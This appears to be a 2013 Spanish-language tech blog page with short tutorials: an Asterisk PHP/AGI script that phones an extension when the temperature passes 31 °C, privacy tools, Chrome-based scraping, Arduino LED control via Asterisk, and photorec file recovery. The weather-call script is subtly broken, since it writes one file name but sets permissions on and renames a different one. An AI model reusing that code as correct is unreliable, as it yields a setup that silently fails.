    }     
    


}




martes, 23 de julio de 2013

Asterisk: Generar llamada automática de acuerdo al clima en una ciudad

Una de las posibilidades que tenemos con Asterisk es que podemos realizar llamadas automatizadas a travez de nuestros scripts en diferentes lenguajes de programación: PHP, Perl, Java, C, en fin, mediante una interfaz transparente al usuario haciendo modificaciones o consultando bases de datos, consultando estados de variables, controlar el dialplan, etc.. haciendo la llamada desde el archivo extensions_custom.conf y por medio de un archivo .call  , y todo esto gracias a Asterisk Gateway Interface (AGI) .

Manos a la obra:

-En la el archivo de extensions_custom.conf agregamos la extension 7307 en la cual mediante AGI llamaremos al script php.

extensions_custom.conf

exten => 7307,1,Answer
exten => 7307,2,AGI(/var/lib/asterisk/agi-bin/mencionar_clima.php)
exten => 7307,3,Hangup


-Ahora escribimos el script que creara el archivo .call , el cual es el que realizara la llamada automáticamente siempre y cuando la temperatura sea mayor a 31 (Este script lo podemos colocar en la ruta /var/lib/asterisk/agi-bin/ ) la temperatura ustedes la pueden ajustar a sus necesidades:

llamada_clima.php

#!/usr/bin/php -q

<?php

$asterisk_outgoing = "/var/spool/asterisk/outgoing/";

$asterisk_tmp = "/tmp/";

$asterisk_cid = "Clima<000>"; 


$temp=file_get_contents('http://www.interactivahn.com/climahonduras/sensores/lugares_turisticos.php');

        if($temp>31){

                $callfile = "/$asterisk_tmp/arduino_call.txt";

                $call = fopen($callfile, 'w') or die("can't open file");


                $call_data="Channel:SIP/7306\nExtension:7307\nCallerID:$asterisk_cid";

                fwrite($call, $call_data);

                fclose($call);
                 chmod ("/$asterisk_tmp/_call.txt", 0666);

                 chown ("/$asterisk_tmp/_call.txt", "asterisk");

                 chgrp ("/$asterisk_tmp/_call.txt", "asterisk");

                rename("/$asterisk_tmp/_call.txt","/$asterisk_outgoing/_call.call");
        }

?>

Con este código creamos el archivo en .call en la ruta de outgoing que revisa el Asterisk para realizar la llamada cuando encuentre un nuevo archivo en la carpeta.

Donde Channel:SIP/7306 es la extensión a donde va dirigida la llamada y Extension:7307 es la extencion a que ejecuta el AGI con la línea que anteriormente escribimos (exten => 7307,2,AGI(/var/lib/asterisk/agi-bin/mencionar_clima.php)
)

-Ahora nos falta el archivo mencionar_clima.php que es el que nos habla cuando contestamos la extesion 7306:


#!/usr/bin/php -q

<?php

require("phpagi.php");
$agi = new AGI();


   $return = $agi->get_data('beep', 30000, 1);
  //Nos muestra la temperatura actual de San Pedro Sula, Honduras
   $temp=file_get_contents('http://www.interactivahn.com/climahonduras/sensores/tempsps.php');
   $text="La temperatura en s p s es de ".$temp." grados centigrados";

    $agi->text2wav($text);


?>

-Lo que nos queda es programar en el crontab para que se ejecute periódicamente el archivo llamada_clima.php y si en la hora que se ejecuta la temperatura sobrepasa los 31 grados centigrados, efectuara la llamada.

Este script con algunas modificaciones podría servir para Hoteles, en donde los huéspedes puedan programar "alertas" para el clima con una llamada a la central telefónica (Asterisk), y que les llame cuando la temperatura este en el punto que ellos desean para salir o que les avise si habrá lluvia a determinada hora.

Hay tantas posibilidades, el limite es su imaginación.

jueves, 20 de junio de 2013

2 Herramientas, Ixquick y Wickr





Enviar mensajes gratis a otros usuarios Wickr en cualquier parte del mundo,  sin dejar rastro y auto destructivos.

Wickr fue fundada en San Francisco, California por un equipo de expertos en seguridad y privacidad que creen que las comunicaciones privadas son un derecho humano universal que es muy importante para una sociedad libre. Hoy, ese derecho es casi inexistente.

Wickr usa AES256 para proteger los datos,  también utiliza Hash SHA256 Transport Layer Security (TLS). Las claves de cifrado se utilizan sólo una vez y luego son destruidas por teléfono del remitente.

Puedes enviar archivos, wickr se encarga de eliminar metadata que contengan información nuestra o del equipo que enviamos los datos, envió encriptado de mensajes, se integra con Box, Dropbox, Google Drive.

Wickr se está convirtiendo en el sistema de comunicación más grande en el mundo, dándole poder a la gente.






Ixquick


Ixquick es un metabuscador localizado en Nueva York y Holanda, que ha provisto más de 120 millones de búsquedas desde 2004.


Fue relanzado el 23 de marzo de 2005 con muchas nuevas características, incluyendo un algoritmo de metabúsqueda rediseñado y un directorio telefónico internacional.


El 27 de junio de 2006, Ixquick.com se convirtió en el primer motor de búsqueda que borra la información privada de sus usuarios. Direcciones IP y otra información personal eran borrados dentro de 48 horas desde la búsqueda. Ixquick tampoco comparte la información personal de sus usuarios con otros motores de búsquedas o con sus patrocinadores.


A partir del 29 de enero de 2009, Ixquick no registra las direcciones IP de sus usuarios en absoluto.






Estas herramientas nos pueden servir a todos, pero el post lo hice pensando en herramientas que les pueda dar mas seguridad en la información a los periodistas.






Hasta la PROXYma.



lunes, 10 de junio de 2013

Sreenscraping usando extension de Google Chrome’s Scraper

¿Cómo se obtiene la información de un sitio Web a una hoja de Excel? 

La respuesta es screenscraping. Hay una serie de programas y Plattformas (como OutWit Hub, Google Docs y Scraping Wiki) que le ayuda a hacer esto, pero ninguno de ellos son - en mi opinión - tan fácil de utilizar como la extensión  Google Chrome scraper.

Que es Screen Scrapping?

El Screen Scrapping o “respaldo de pantalla”, es una técnica usada para extraer automáticamente información de un documento, un documento puede ser una página web, un archivo PDF, un archivo de Word, etc.

Google Chrome's Scraper puede ser instalado gratis desde aquí: link

Ahora que ya la tenemos instalada procedemos a realizar las pruebas, en cualquier pagina web da click derecho sobre el texto y debería salir algo así entre las opciones: 


Manos a la obra:  Sacar los nombres de los diputados de la bancada nacional de Honduras con laURL de la imagen. (url: http://www.congresonacional.hn/images/bancadaN/PN.html )


Damos click derecho sobre el nombre de uno de los diputados, y escogemos la opción "Scrape similar...", en donde nos saldrá este ventana:


Si nos fijamos solamente obtuvimos la url de la imagen de los diputados, nos falta el nombre en el campo de XPath donde dice @tittle lo cambiamos por @alt quedando así y veremos que ya sale el nombre de los diputados:



Y veremos en la esquina inferior derecha el botón "Export to Google Docs" click ahi y veremos que ya tenemos nuestros datos.






martes, 4 de junio de 2013

Controlar LED con Arduino a través de Asterisk (Video)

Comencé  con Arduino desde hace ya algún tiempo, y quise escribir un post fuera de lo común y debido a que últimamente me a tocado "trastear" con Asterisk, que mejor que unirlos aquí.

El escenario:

Arduino IDE 1.0.4
Placa Arduino UNO con Ethernet Shield.
FreePBX Version 2.8.1.4
Asterisk 1.6.2.21


Lo que vamos a hacer es ejecutar un PHP cuando Asterisk reciba una llamada a la extensión eje: 7307 .
Para esto usaremos en nuestro script la libreria phpagi.php que se encuentra en /var/lib/asterisk/agi-bin/

Link del codigo PHP: https://docs.google.com/file/d/0B4yVk8iE3E-FYjBXMGozZVpfQmc/edit?usp=sharing

Link del codigo para Arduino .pde: https://docs.google.com/file/d/0B4yVk8iE3E-FV1VPSmJUcl9ESms/edit?usp=sharing

En nuestro Arduino el LED estará conectado al puerto digital 4.

En el server Asterisk lo siguiente:
El código php lo copiaremos en la ruta /var/lib/asterisk/agi-bin/ y daremos permisos al usuario asterisk sobre el script con chown asterisk:asterisk arduino_control.php

En /etc/asterisk/extensions_custom.conf agregamos:


; Arduino Control
exten => 7307,1,Answer
exten => 7307,2,AGI(arduino_control.php)
exten => 7307,3,Hangup



Este código lo tome de Nerdybynature y modifique principalmente el .pde para adaptarlo a mi versión.

viernes, 30 de noviembre de 2012

Recuperar datos borrados de Discos duros y Memorias USB



A todos nos ha paso que hemos borrado o se nos ha borrado accidentalmente el contenido o parte del mismo de nuestra TF, Pen Drive, Disco Duro, etc. En estos casos existe una buena cantidad de herramientas en Windows, y Linux no puede estar al margen de dicha tecnología.

Vamos a utilizar una aplicación llamada photorec:

sudo aptitude install testdisk

Luego para recuperar archivos simplemente tecleamos:

sudo photorec

El programa se ejecuta desde consola, pero tiene un menu muy intuitico, y lo primero que nos pedira es que maximicemos la ventana de consola para que podamos ejecutar el programa y ver todas las lineas del menu.

Posteriormente nos pedira que le indiquemos desde que unidad queremos recuperar los datos, y nos saldra la lista de las unidades que tengamos montadas.

Luego el programa detectara los diferentes tipos de particiones bien sean FAT, EXT, etc … y seleccionaremos la correcta.

Despues tendremos que seleccionar una carpet o ruta donde el programa depositara os ficheros borrados que vaya detectando.

Por ultimo pulsando “Y” de yes, empezara el proceso.

El programa funciona de una forma escandalosa y organiza en carpetas todo lo que vaya detectando.

Yo personalmente lo probé con una memoria de 16Gb y esta comprobado su funcionamiento recuperando TODA clase de archivos sin importar su extensión.



Fuente:ubuntu.org.uy



Hasta la PROXYma.

jueves, 27 de septiembre de 2012

Aldous Huxley: Las dictaduras tecnológicas futuras (Video - 1958)

Según Huxley existen un número de fuerzas impersonales, que nos llevarían a una dirección de menos y menos libertad. Si a eso le sumamos que hay un número de dispositivos tecnológicos, acelerarían aún más la pérdida de libertad, imponiendo un control centralizado. Reportaje efectuado por Mike Wallace, el 18 de Mayo de 1958.



 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Best Web Host